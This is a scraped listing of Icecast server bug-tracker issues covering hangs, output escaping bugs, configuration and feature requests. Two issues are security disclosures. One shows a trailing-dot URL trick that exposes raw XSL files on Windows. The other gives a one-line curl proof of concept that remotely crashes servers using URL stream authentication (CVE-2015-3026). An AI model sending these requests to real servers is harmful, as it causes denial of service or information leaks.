Icecast-Server issueshttps://gitlab.xiph.org/xiph/icecast-server/-/issues2017-10-05T10:40:40Zhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2256Icecast 2.4.2 hangs after several hours running2017-10-05T10:40:40ZDaniel LafraiaIcecast 2.4.2 hangs after several hours runningI have a couple of Icecast servers at Digital Ocean used as a relay to our main Icecast server at AWS. For some reason the edge server (the one receiving connections from end users) hangs completely.
I had to setup Supervisord to do an ...I have a couple of Icecast servers at Digital Ocean used as a relay to our main Icecast server at AWS. For some reason the edge server (the one receiving connections from end users) hangs completely.
I had to setup Supervisord to do an HTTP request to status.xsl to determine if it's up, so it can be restarted when it happens (status.xsl request times out). Actually this happens both servers, same behavior hanging every 1 or 2 days or so.
This is not a busy streaming server (about 400 listeners peak each). When it hangs sometimes it's not on peak hours, I've seen it happening early morning.
Error_log stops longing when it happens, so there's not much information there (using loglevel 3).
This icecast server is running in a docker container, just like the main server. I'm starting this docker image with ulimit 1024:1024 for nofile.
How can I provide you with more info so we can see if this is a bug?Gitlab BotGitlab Bothttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2255Invalid XML in Icecast statistics output due to lack of escaping2018-04-16T22:12:13ZThomas B. RückerInvalid XML in Icecast statistics output due to lack of escapingIcecast version 2.3.3-2ubuntu1.14.04.1 , when reporting statistics via API calls to http://%s:%d/admin/stats.xml, returns this invalid XML:
```
<icestats>
<source mount="/radio">
<Listeners>1</Listeners>
<listener>
<IP>23.2.9...Icecast version 2.3.3-2ubuntu1.14.04.1 , when reporting statistics via API calls to http://%s:%d/admin/stats.xml, returns this invalid XML:
```
<icestats>
<source mount="/radio">
<Listeners>1</Listeners>
<listener>
<IP>23.2.9.2</IP>
<UserAgent>Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12F70 [FBAN/FBIOS;FBAV/46.0.0.54.156;FBBV/18972819;FBDV/iPhone5,3;FBMD/iPhone;FBSN/iPhone OS;FBSV/8.3;FBSS/2; FBCR/AT&T;FBID/phone;FBLC/en_US;FBOP/5]</UserAgent>
<Connected>0</Connected>
<ID>2634887</ID>
</listener>
</source>
</icestats>
```
Note the unescaped &T; which is an undefined XML entity "T", and causes parsers to explode.
Expected behavior: text inside blocks should be html escaped or enclosed in a CDATA block, if I remember my XML correctly.
[Originally reported on github](https://github.com/xiph/Icecast-Server/issues/3) by [kenrestivo](https://github.com/kenrestivo)Icecast 2.5.0Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2254Replace autogen.sh with a simple wrapper around autoreconf2017-10-05T10:40:40ZMarvin ScholzReplace autogen.sh with a simple wrapper around autoreconfCurrently the autogen.sh script does a lot of stuff which is mostly not needed anymore,
given that autoreconf can do all of that and possibly even better.Currently the autogen.sh script does a lot of stuff which is mostly not needed anymore,
given that autoreconf can do all of that and possibly even better.Icecast 2.5.0Marvin ScholzMarvin Scholzhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2249Spaces in Web and Admin path break new include helper for libxslt2017-10-05T10:40:40ZMarvin ScholzSpaces in Web and Admin path break new include helper for libxsltThe custom include handler that resolves paths, making it possible for web files to include admin files breaks if the path contains a space, as this gets somehow encoded to %20 apparently by one of the xml helper functions I am using to ...The custom include handler that resolves paths, making it possible for web files to include admin files breaks if the path contains a space, as this gets somehow encoded to %20 apparently by one of the xml helper functions I am using to build the path.Icecast 2.5.0Marvin ScholzMarvin Scholzhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2248File extension check ignores trailing characters2017-10-05T10:40:40ZMarvin ScholzFile extension check ignores trailing charactersThe `util_check_valid_extension` function will ignore any characters after a matched file extension, so that `xsl`, `xslt` and `xslfoooo` will all return `XSLT_CONTENT`, even though the last one really should not.
Additionally there is ...The `util_check_valid_extension` function will ignore any characters after a matched file extension, so that `xsl`, `xslt` and `xslfoooo` will all return `XSLT_CONTENT`, even though the last one really should not.
Additionally there is a check for `htm` and after that another one for `html`, but the first check will always match even in the case of html, so that code is actually useless and never execute.Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2247XSLs are returned in plaintext if trailing dot is appended to the URL (Window...2018-04-16T22:12:13ZMarvin ScholzXSLs are returned in plaintext if trailing dot is appended to the URL (Windows only)If requesting an xsl file, anyone can get a unprocessed version of that file, possibly exposing internal information to the user, by appending a dot to the requested filename:
```
http://localhost:8000/status.xsl.
```
Only Windows is...If requesting an xsl file, anyone can get a unprocessed version of that file, possibly exposing internal information to the user, by appending a dot to the requested filename:
```
http://localhost:8000/status.xsl.
```
Only Windows is affected. This is due to the way the Windows API handles filenames, as it strips the trailing dot and will assume status.xsl instead of the version with the trailing dot.
*Unix and Linux builds were never affected.*
(See CVE-2005-0837 and #635)Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2245Move TLS options out of <paths>2018-06-15T20:50:30ZPhilipp SchafftMove TLS options out of <paths>The TLS options (<tls-certificate>, <tls-allowed-ciphers> (maybe more in future?)) are in <paths>. Should they be moved outside? If so where to?The TLS options (<tls-certificate>, <tls-allowed-ciphers> (maybe more in future?)) are in <paths>. Should they be moved outside? If so where to?Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2231process hangs after HUP signal2023-05-08T09:49:13Zhk_netprocess hangs after HUP signalwe got icecast 2.4.2 running fine, but some times after several HUP signals for logrotation the process hangs, no more listening on its tcp-socket nor logging anything.
stopping and restarting helps to get the stream working again, but ...we got icecast 2.4.2 running fine, but some times after several HUP signals for logrotation the process hangs, no more listening on its tcp-socket nor logging anything.
stopping and restarting helps to get the stream working again, but we do have no clue how to find the issue causing this behavior.Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2226Adding <mount-title> for mountpoints2018-11-10T15:54:39ZvtangerAdding <mount-title> for mountpointsAs there are a number of semi-defective clients which do not transmit a description/title as well as people out there who cannot reliably enter the display title into their client configuration, such an override-option in the configurat...As there are a number of semi-defective clients which do not transmit a description/title as well as people out there who cannot reliably enter the display title into their client configuration, such an override-option in the configuration would come handy. Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2225Make listen backlog customizable2018-09-28T14:05:00ZMarvin ScholzMake listen backlog customizableExcerpt from a mail we got on the list:
On 02/19/2015 03:07 PM, Stephan Leemburg wrote:
> I am working for the NPO, the Dutch Public Broadcasting agency.
>
> We do a lot of icecast streaming. We run at least 20 icecast server
> instanc...Excerpt from a mail we got on the list:
On 02/19/2015 03:07 PM, Stephan Leemburg wrote:
> I am working for the NPO, the Dutch Public Broadcasting agency.
>
> We do a lot of icecast streaming. We run at least 20 icecast server
> instances on our media streaming cluster. [...]
>
> We ran into an issue that clients which where connecting to our streams
> seemed to be 'hanging' on the connection setup frequently. The client
> 'thinks' it is connected, but no data.
>
> People suggested that it probably had to do with the poll() call. So, I
> looked into that.
>
> I found that the issue was actually caused by the very low listen
> backlog (5).
> On our clusters, we typically set this to 8192. Yes it is high, but we
> do a _lot_ of streaming and host very high volume websites.
Attached are the submitted patches for 2.4, 2.5 and 2.3.3
Icecast 2.5.0Philipp SchafftPhilipp Schaffthttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2223Icecast does not support HEAD requests2018-11-30T12:05:07ZOndra PelechIcecast does not support HEAD requestsalso reported on [Github](https://github.com/xiph/Icecast-Server/issues/2)
this makes transcodig in browser via javascript impossible
affects:
* [Aurora.js](https://github.com/audiocogs/aurora.js/issues/135)
* [Ampache](https://githu...also reported on [Github](https://github.com/xiph/Icecast-Server/issues/2)
this makes transcodig in browser via javascript impossible
affects:
* [Aurora.js](https://github.com/audiocogs/aurora.js/issues/135)
* [Ampache](https://github.com/ampache/ampache/issues/933)
Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2222m3u link contents2018-11-18T10:50:03Zitmmediam3u link contentswhen attempting to play a stream from the links on the icecast server web interface the contents of the m3u file uses the wrong port number.
this may be related to ticket #2180
when connected to the server web interface with ssl ( http...when attempting to play a stream from the links on the icecast server web interface the contents of the m3u file uses the wrong port number.
this may be related to ticket #2180
when connected to the server web interface with ssl ( https ) on port 8001 ( audio clients connect via port 8000 without ssl ) the contents of the m3u file when clicking on the icon, contains port 8001 instead of 8000. the other links/icons ( vclt and xpsf ) seem to be correct.
audio streams are anonymous relays of streams from web sites accessed by clients ( winamp ) on a local area network. this issue happens with any/all configured relays.
M3U contents: ( wrong port )
`http://192.168.xxx.xxx:8001/mountpoint`
NOTE: This should be
`http://192.168.xxx.xxx:8000/mountpoint`
or
`http://servername:8000/mountpoint`
VCLT contents: ( ok ? )
```
STREAMURL=http://servername:8000/mountpoint
TITLE=
SERVER_NAME=Orange Cty - For more ...
DESCRIPTION=Unspecified description
SIGNALINFO=
GENRE=Railroad Radio Scanner
==
```
XPSF contents: ( ok ? )
```xml
<?xml version="1.0" encoding="UTF-8"?>
<playlist xmlns="http://xspf.org/ns/0/" version="1">
<title></title>
<creator></creator>
<trackList>
<track>
<location>http://servername:8000/mountpoint</location>
<title></title>
<annotation>Stream Title: Orange Cty - For more ...
Stream Description: Unspecified description
Content Type:audio/mpeg
Bitrate: 28
Current Listeners: 1
Peak Listeners: 1
Stream Genre: Railroad Radio Scanner</annotation>
<info>http://www.streamwebsite.url</info>
</track>
</trackList>
</playlist>
```
parts of icecast.xml:
```xml
<!-- You may have multiple <listener> elements -->
<listen-socket>
<port>8000</port>
<!-- <bind-address>127.0.0.1</bind-address> -->
<!-- <shoutcast-mount>/stream</shoutcast-mount> -->
</listen-socket>
<!-- admin port on 8001 using ssl -->
<!-- added/enabled Thu Jan 22 08:31:43 PST 2015 -->
<listen-socket>
<port>8001</port>
<ssl>1</ssl>
</listen-socket>
<relay>
<!-- http://railaudio.stream-host-name:stream-port/ -->
<server>railaudio.stream-host-name</server>
<port>stream-port</port>
<mount>/</mount>
<local-mount>/mountpoint</local-mount>
<on-demand>1</on-demand>
<relay-shoutcast-metadata>1</relay-shoutcast-metadata>
</relay>
```
connecting to admin panel at:
`https://192.168.xxx.xxx:8001/`
Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2205Allow icy-description override with stream-description from config2020-05-14T08:51:14ZMarvin ScholzAllow icy-description override with stream-description from configCurrently only the stream-name will override the icy-name header, we should implement the same handling for stream-description and icy-description as there are source clients that do not sent those headers.
(See [18543] and #1359)Currently only the stream-name will override the icy-name header, we should implement the same handling for stream-description and icy-description as there are source clients that do not sent those headers.
(See [18543] and #1359)Marvin ScholzMarvin Scholzhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2202Hardcoded HTTP protocol verification for master-slave relaying2018-06-15T20:53:24ZMarvin ScholzHardcoded HTTP protocol verification for master-slave relayingIf using master slave relaying, Icecast tries to download a .txt file with an overview of the mountpoints connected on the master. There the code has a hardcoded check for "HTTP/1.0", that means it will fail if Icecast ever uses HTTP/1.1...If using master slave relaying, Icecast tries to download a .txt file with an overview of the mountpoints connected on the master. There the code has a hardcoded check for "HTTP/1.0", that means it will fail if Icecast ever uses HTTP/1.1 instead, which is not very good.
A proper check should be used there.Icecast 2.5.0Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2201network throughput limited at 70mbps2018-07-07T09:17:24Zwilson chuanetwork throughput limited at 70mbpsHi I have setup 3 icecast servers for eradioportal.com. These are running in a hyperV environment using CentOS v6.6
I have noticed that despite being on a 1gbps connection, the maximum network throughput i am getting is somewhere aroun...Hi I have setup 3 icecast servers for eradioportal.com. These are running in a hyperV environment using CentOS v6.6
I have noticed that despite being on a 1gbps connection, the maximum network throughput i am getting is somewhere around the 70mbps only.
Is this a bug? or is this a misconfiguration error?
Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2199Icecast listener count negative under special circumstances2018-04-16T14:24:46ZMarvin ScholzIcecast listener count negative under special circumstancesAs reported by SimAV on IRC (thanks a lot), it can happen under special circumstances that the Icecast global listener count becomes a negative number.
It seems this is a very special case where `format_check_http_buffer` has an interna...As reported by SimAV on IRC (thanks a lot), it can happen under special circumstances that the Icecast global listener count becomes a negative number.
It seems this is a very special case where `format_check_http_buffer` has an internal problem (see log). As far as I have investigated, this is caused because `ebml_create_client_data` returns -1. We need to investigate why this leads to a wrong listener count.
Some more information attached.Icecast 2.5.0Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2198status-json.xsl produces invalid output if field contains only "-" and option...2017-10-14T21:47:27ZZalexstatus-json.xsl produces invalid output if field contains only "-" and optional whitespaceWhen my track *hasn't* title in *tags*, Icecast shows *`-`* instead of a blank line,(I suppose this status sends the client, mpd in my case, to Icecast server) so, I get json like this (see example) and this json isn't valid because *`"...When my track *hasn't* title in *tags*, Icecast shows *`-`* instead of a blank line,(I suppose this status sends the client, mpd in my case, to Icecast server) so, I get json like this (see example) and this json isn't valid because *`"title" : -`* instead *`"title" : "-"`* . I checked it here - http://jsonlint.com/ So, I cant't do `json_decode()`, function returns `null`
```
{
"icestats": {
"admin": "admin@admin",
"host": "host.com",
"location": "Moscow",
"server_id": "Icecast 2.4.2",
"server_start": "Fri, 15 May 2015 16:25:24 +0300",
"server_start_iso8601": "2015-05-15T16:25:24+0300",
"source": [
{
"audio_info": "channels=2;samplerate=44100;bitrate=192",
"channels": 2,
"genre": "various",
"listener_peak": 3,
"listeners": 0,
"listenurl": "http://mds.planeset.ru:8000/mds.mp3",
"samplerate": 44100,
"server_description": "Трансляции Модель Для Сборки
музыка",
"server_name": "Модель для сборки - музыка",
"server_type": "audio/mpeg",
"stream_start": "Fri, 15 May 2015 16:25:33 +0300",
"stream_start_iso8601": "2015-05-15T16:25:33+0300",
"title": -,
"dummy": null
},
{
"audio_info": "channels=2;samplerate=44100;bitrate=192",
"channels": 2,
"genre": "various",
"listener_peak": 10,
"listeners": 9,
"listenurl": "http://mds.planeset.ru:8000/mds_voice.mp3",
"samplerate": 44100,
"server_description": "Трансляции Модель Для Сборки -
голос",
"server_name": "Модель для сборки - голос",
"server_type": "audio/mpeg",
"stream_start": "Fri, 15 May 2015 16:25:33 +0300",
"stream_start_iso8601": "2015-05-15T16:25:33+0300",
"title": "Фред Саберхаген - Доброжил",
"dummy": null
}
]
}
}
```
This is example of json, as You can see in first case I have `title: -` because of it I can not json_decode.
There is file xml2json.xslt from Doeke Zanstra [https://github.com/doekman/xml2json-xslt][1] on server. This file, I guess, convert xml to json and maybe there is a way to add new rule to convert `-` to `null` in blank `title` line, but I don't know how I can do it.
[1]: https://github.com/doekman/xml2json-xsltIcecast 2.5.0Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2192URL auth: override status code and send custom headers2018-09-28T15:04:52ZThomas B. RückerURL auth: override status code and send custom headersCurrently we're hardcoded to 401, if the backend refuses authentication. 403 might also be desireable or 30x with a _location_ header.
This needs two things:
* capability to set a custom status (including message)
* capability to send...Currently we're hardcoded to 401, if the backend refuses authentication. 403 might also be desireable or 30x with a _location_ header.
This needs two things:
* capability to set a custom status (including message)
* capability to send headers that will be forwarded to the client
The latter can also be used to set cookies, so is useful by itself.Icecast 2.5.0Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2191Icecast can be crashed remotely if stream_auth is enabled.2018-04-16T22:12:13ZThomas B. RückerIcecast can be crashed remotely if stream_auth is enabled.Downstream bug report:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=782120
Icecast can be killed by anyone with a simple HTTP request when
<authentication type="url"> is used and a stream_auth handler is
defined.
Example configura...Downstream bug report:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=782120
Icecast can be killed by anyone with a simple HTTP request when
<authentication type="url"> is used and a stream_auth handler is
defined.
Example configuration:
```
<mount>
<mount-name>/test.ogg</mount-name>
<authentication type="url">
<option name="stream_auth" value="http://localhost/auth"/>
</authentication>
</mount>
```
Proof of concept exploit:
```
curl "http://stream.example.org:8000/admin/killsource?mount=/test.ogg"
```
This happens if no logon credentials are sent with the request. The crash happens regardless of a source client being connected to the vulnerable mountpoint.
This will be released in a security release 2.4.2 today.
CVE-2015-3026Icecast 2.4.2Thomas B. RückerThomas B. Rückerhttps://gitlab.xiph.org/xiph/icecast-server/-/issues/2188Fowarding of headers to authentication system not working2019-06-26T17:17:19ZSebastianFowarding of headers to authentication system not workingHey everyone,
i tried to forward some cookies or other headers to my authentication sytem. Unfortunately this does not work. The doc says the headers would be part of a POST but they don't appear. Can anyone confirm that?
```
<...Hey everyone,
i tried to forward some cookies or other headers to my authentication sytem. Unfortunately this does not work. The doc says the headers would be part of a POST but they don't appear. Can anyone confirm that?
```
<option name="headers" value="x-pragma,x-token"/>
<option name="header_prefix" value="ClientHeader."/>
```
```
<mount>
<mount-name>/example.ogg</mount-name>
<authentication type="url">
<option name="mount_add" value="http://auth.example.org/stream_start.php"/>
<option name="mount_remove" value="http://auth.example.org/stream_end.php"/>
<option name="listener_add" value="http://auth.example.org/listener_joined.php"/>
<option name="listener_remove" value="http://auth.example.org/listener_left.php"/>
<option name="username" value="user"/>
<option name="password" value="pass"/>
<option name="auth_header" value="icecast-auth-user: 1"/>
<option name="timelimit_header" value="icecast-auth-timelimit:"/>
<option name="headers" value="x-pragma,x-token"/>
<option name="header_prefix" value="ClientHeader."/>
<option name="stream_auth" value="http://auth.example.org/source.php"/>
</authentication>
</mount>
```
Best Regards
SebastianThomas B. RückerThomas B. Rücker